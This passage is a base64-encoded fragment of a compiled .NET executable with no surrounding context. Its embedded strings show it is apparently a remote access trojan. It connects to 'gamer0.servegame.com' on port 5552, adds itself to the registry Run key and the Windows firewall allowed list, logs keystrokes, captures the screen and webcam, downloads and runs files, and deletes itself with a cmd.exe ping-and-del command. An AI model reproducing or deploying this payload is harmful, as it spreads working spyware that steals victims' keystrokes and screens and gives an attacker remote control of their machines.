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mFzaWMuQ29tcGlsZXJTZXJ2aWNlcwBTdGFuZGFyZE1vZHVsZUF0dHJpYnV0ZQBTeXN0ZW0uSU8ARmlsZUluZm8ARmlsZVN0cmVhbQBNaWNyb3NvZnQuVmlzdWFsQmFzaWMuRGV2aWNlcwBDb21wdXRlcgBTeXN0ZW0uTmV0LlNvY2tldHMAVGNwQ2xpZW50AE1lbW9yeVN0cmVhbQBDb252ZXJzaW9ucwBUb0Jvb2xlYW4AU3lzdGVtLlJlZmxlY3Rpb24AQXNzZW1ibHkAR2V0RW50cnlBc3NlbWJseQBnZXRfTG9jYXRpb24AQnl0ZQBFeGNlcHRpb24ATWljcm9zb2Z0LlZpc3VhbEJhc2ljLk15U2VydmljZXMAUmVnaXN0cnlQcm94eQBTZXJ2ZXJDb21wdXRlcgBnZXRfUmVnaXN0cnkATWljcm9zb2Z0LldpbjMyAFJlZ2lzdHJ5S2V5AGdldF9DdXJyZW50VXNlcgBTdHJpbmcAQ29uY2F0AE9wZW5TdWJLZXkARGVsZXRlVmFsdWUAUHJvamVjdERhdGEAU2V0UHJvamVjdEVycm9yAENsZWFyUHJvamVjdEVycm9yAFJ1bnRpbWVIZWxwZXJzAEdldE9iamVjdFZhbHVlAEdldFZhbHVlAFJlZ2lzdHJ5VmFsdWVLaW5kAENyZWF0ZVN1YktleQBTZXRWYWx1ZQBEYXRlVGltZQBPcGVyYXRvcnMAQ29uZGl0aW9uYWxDb21wYXJlT2JqZWN0RXF1YWwAVG9TdHJpbmcARW52aXJvbm1lbnQAZ2V0X01hY2hpbmVOYW1lAGdldF9Vc2VyTmFtZQBGaWxlU3lzdGVtSW5mbwBnZXRfTGFzdFdyaXRlVGltZQBnZXRfRGF0ZQBDb21wdXRlckluZm8AZ2V0X0luZm8AZ2V0X09TRnVsbE5hbWUAUmVwbGFjZQBPcGVyYXRpbmdTeXN0ZW0AZ2V0X09TVmVyc2lvbgBnZXRfU2VydmljZVBhY2sATWljcm9zb2Z0LlZpc3VhbEJhc2ljAFN0cmluZ3MAQ29tcGFyZU1ldGhvZABTcGxpdABTcGVjaWFsRm9sZGVyAEdldEZvbGRlclBhdGgAQ29udGFpbnMAUmVnaXN0cnlLZXlQZXJtaXNzaW9uQ2hlY2sAR2V0VmFsdWVOYW1lcwBnZXRfTGVuZ3RoAENvbnZlcnQAVG9CYXNlNjRTdHJpbmcARnJvbUJhc2U2NFN0cmluZwBTeXN0ZW0uVGV4dABFbmNvZGluZwBnZXRfVVRGOABHZXRCeXRlcwBHZXRTdHJpbmcAU3lzdGVtLklPLkNvbXByZXNzaW9uAEdaaXBTdHJlYW0AU3RyZWFtAENvbXByZXNzaW9uTW9kZQBzZXRfUG9zaXRpb24AUmVhZABCaXRDb252ZXJ0ZXIAVG9JbnQzMgBEaXNwb3NlAFNwYWNlAEludFB0cgBaZXJvAG9wX0VxdWFsaXR5AG9wX0V4cGxpY2l0AEludGVyYWN0aW9uAEVudmlyb24AQ29udmVyc2lvbgBIZXgATW9kdWxlAFR5cGUATG9hZABHZXRNb2R1bGVzAEdldFR5cGVzAGdldF9GdWxsTmFtZQBFbmRzV2l0aABnZXRfQXNzZW1ibHkAQ3JlYXRlSW5zdGFuY2UARGlyZWN0b3J5SW5mbwBnZXRfTmFtZQBUb0xvd2VyAENvbXBhcmVTdHJpbmcAZ2V0X0RpcmVjdG9yeQBnZXRfUGFyZW50AGdldF9Mb2NhbE1hY2hpbmUAQXBwV2luU3R5bGUAU2hlbGwARmlsZQBEZWxldGUARGVsZXRlU3ViS2V5AEVuZEFwcABTeXN0ZW0uVGhyZWFkaW5nAFRocmVhZABTbGVlcABFeGlzdHMARmlsZU1vZGUAUmVhZEFsbEJ5dGVzAFdyaXRlAEZsdXNoAENsb3NlAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAFN0YXJ0AEVudmlyb25tZW50VmFyaWFibGVUYXJnZXQAU2V0RW52aXJvbm1lbnRWYXJpYWJsZQBDb3B5AFN5c3RlbS5OZXQAV2ViQ2xpZW50AFN5c3RlbS5EcmF3aW5nAEdyYXBoaWNzAEJpdG1hcABSZWN0YW5nbGUAU2l6ZQBDb25jYXRlbmF0ZU9iamVjdABnZXRfQ2hhcnMAVG9BcnJheQBEb3dubG9hZERhdGEAUGF0aABHZXRUZW1wRmlsZU5hbWUAV3JpdGVBbGxCeXRlcwBnZXRfTWVzc2FnZQBOZXdMYXRlQmluZGluZwBMYXRlU2V0AExhdGVDYWxsAEJvb2xlYW4ATGF0ZUdldABDb21wYXJlT2JqZWN0RXF1YWwAT3JPYmplY3QAU3lzdGVtLldpbmRvd3MuRm9ybXMAU2NyZWVuAGdldF9QcmltYXJ5U2NyZWVuAGdldF9Cb3VuZHMAZ2V0X1dpZHRoAGdldF9IZWlnaHQAU3lzdGVtLkRyYXdpbmcuSW1hZ2luZwBQaXhlbEZvcm1hdABJbWFnZQBGcm9tSW1hZ2UAQ29weVBpeGVsT3BlcmF0aW9uAENvcHlGcm9tU2NyZWVuAEN1cnNvcgBDdXJzb3JzAGdldF9EZWZhdWx0AFBvaW50AGdldF9Qb3NpdGlvbgBEcmF3AFRvSW50ZWdlcgBEcmF3SW1hZ2UASW1hZ2VGb3JtYXQAZ2V0X0pwZWcAU2F2ZQBXcml0ZUJ5dGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAQ2hhbmdlVHlwZQBTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5AE1ENUNyeXB0b1NlcnZpY2VQcm92aWRlcgBIYXNoQWxnb3JpdGhtAENvbXB1dGVIYXNoAEdldEN1cnJlbnRQcm9jZXNzAGdldF9IYW5kbGUATW9uaXRvcgBFbnRlcgBJbnQzMgBTb2NrZXQAZ2V0X0NsaWVudABTb2NrZXRGbGFncwBTZW5kAEV4aXQAc2V0X1JlY2VpdmVCdWZmZXJTaXplAHNldF9TZW5kQnVmZmVyU2l6ZQBzZXRfU2VuZFRpbWVvdXQAc2V0X1JlY2VpdmVUaW1lb3V0AENvbm5lY3QAZ2V0X0F2YWlsYWJsZQBTZWxlY3RNb2RlAFBvbGwATmV0d29ya1N0cmVhbQBHZXRTdHJlYW0AUmVhZEJ5dGUAVG9Mb25nAENoclcAQ2hhcgBSZWNlaXZlAFBhcmFtZXRlcml6ZWRUaHJlYWRTdGFydABKb2luAENvbW1hbmQATXV0ZXgAVGhyZWFkU3RhcnQAU2Vzc2lvbkVuZGluZ0V2ZW50QXJncwBTZXNzaW9uRW5kaW5nRXZlbnRIYW5kbGVyAFN5c3RlbUV2ZW50cwBhZGRfU2Vzc2lvbkVuZGluZwBBcHBsaWNhdGlvbgBEb0V2ZW50cwBzZXRfTWluV29ya2luZ1NldABDb25kaXRpb25hbENvbXBhcmVPYmplY3ROb3RFcXVhbABDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBEZWJ1Z2dlclN0ZXBUaHJvdWdoQXR0cmlidXRlAFNUQVRocmVhZEF0dHJpYnV0ZQBLZXlzAFN0cmluZ0J1aWxkZXIAR2V0UHJvY2Vzc0J5SWQAZ2V0X01haW5XaW5kb3dUaXRsZQBEYXRlQW5kVGltZQBnZXRfTm93AGdldF9Qcm9jZXNzTmFtZQBFbnVtAEtleWJvYXJkAGdldF9LZXlib2FyZABnZXRfU2hpZnRLZXlEb3duAGdldF9DYXBzTG9jawBUb1VwcGVyAGdldF9DdHJsS2V5RG93bgBSZW1vdmUAai5leGUAYXZpY2FwMzIuZGxsAGtlcm5lbDMyAHVzZXIzMi5kbGwAdXNlcjMyAG50ZGxsAG1zY29ybGliAE9LAGoAa2wAQQBWTgBWUgBNVABFWEUARFIAUkcASABQAFkAQkQASWRyAElzRgBJc3UATE8ARlMARgBrcQBDbgBzZgBDAE1lTQBiAGxhc3RjYXAAUExHAC5jY3RvcgBOdFNldEluZm9ybWF0aW9uUHJvY2VzcwBoUHJvY2VzcwBwcm9jZXNzSW5mb3JtYXRpb25DbGFzcwBwcm9jZXNzSW5mb3JtYXRpb24AcHJvY2Vzc0luZm9ybWF0aW9uTGVuZ3RoAGNhcEdldERyaXZlckRlc2NyaXB0aW9uQQB3RHJpdmVyAGxwc3pOYW1lAGNiTmFtZQBscHN6VmVyAGNiVmVyAEdldFZvbHVtZUluZm9ybWF0aW9uAEdldFZvbHVtZUluZm9ybWF0aW9uQQBscFJvb3RQYXRoTmFtZQBscFZvbHVtZU5hbWVCdWZmZXIAblZvbHVtZU5hbWVTaXplAGxwVm9sdW1lU2VyaWFsTnVtYmVyAGxwTWF4aW11bUNvbXBvbmVudExlbmd0aABscEZpbGVTeXN0ZW1GbGFncwBscEZpbGVTeXN0ZW1OYW1lQnVmZmVyAG5GaWxlU3lzdGVtTmFtZVNpemUAR2V0Rm9yZWdyb3VuZFdpbmRvdwBHZXRXaW5kb3dUZXh0AEdldFdpbmRvd1RleHRBAGhXbmQAV2luVGl0bGUATWF4TGVuZ3RoAEdldFdpbmRvd1RleHRMZW5ndGgAR2V0V2luZG93VGV4dExlbmd0aEEAaHduZABETFYAbgBHVFYAcmV0AFNUVgB0AHR5cABpbmYARU5CAHMAREVCAFNCAFMAQ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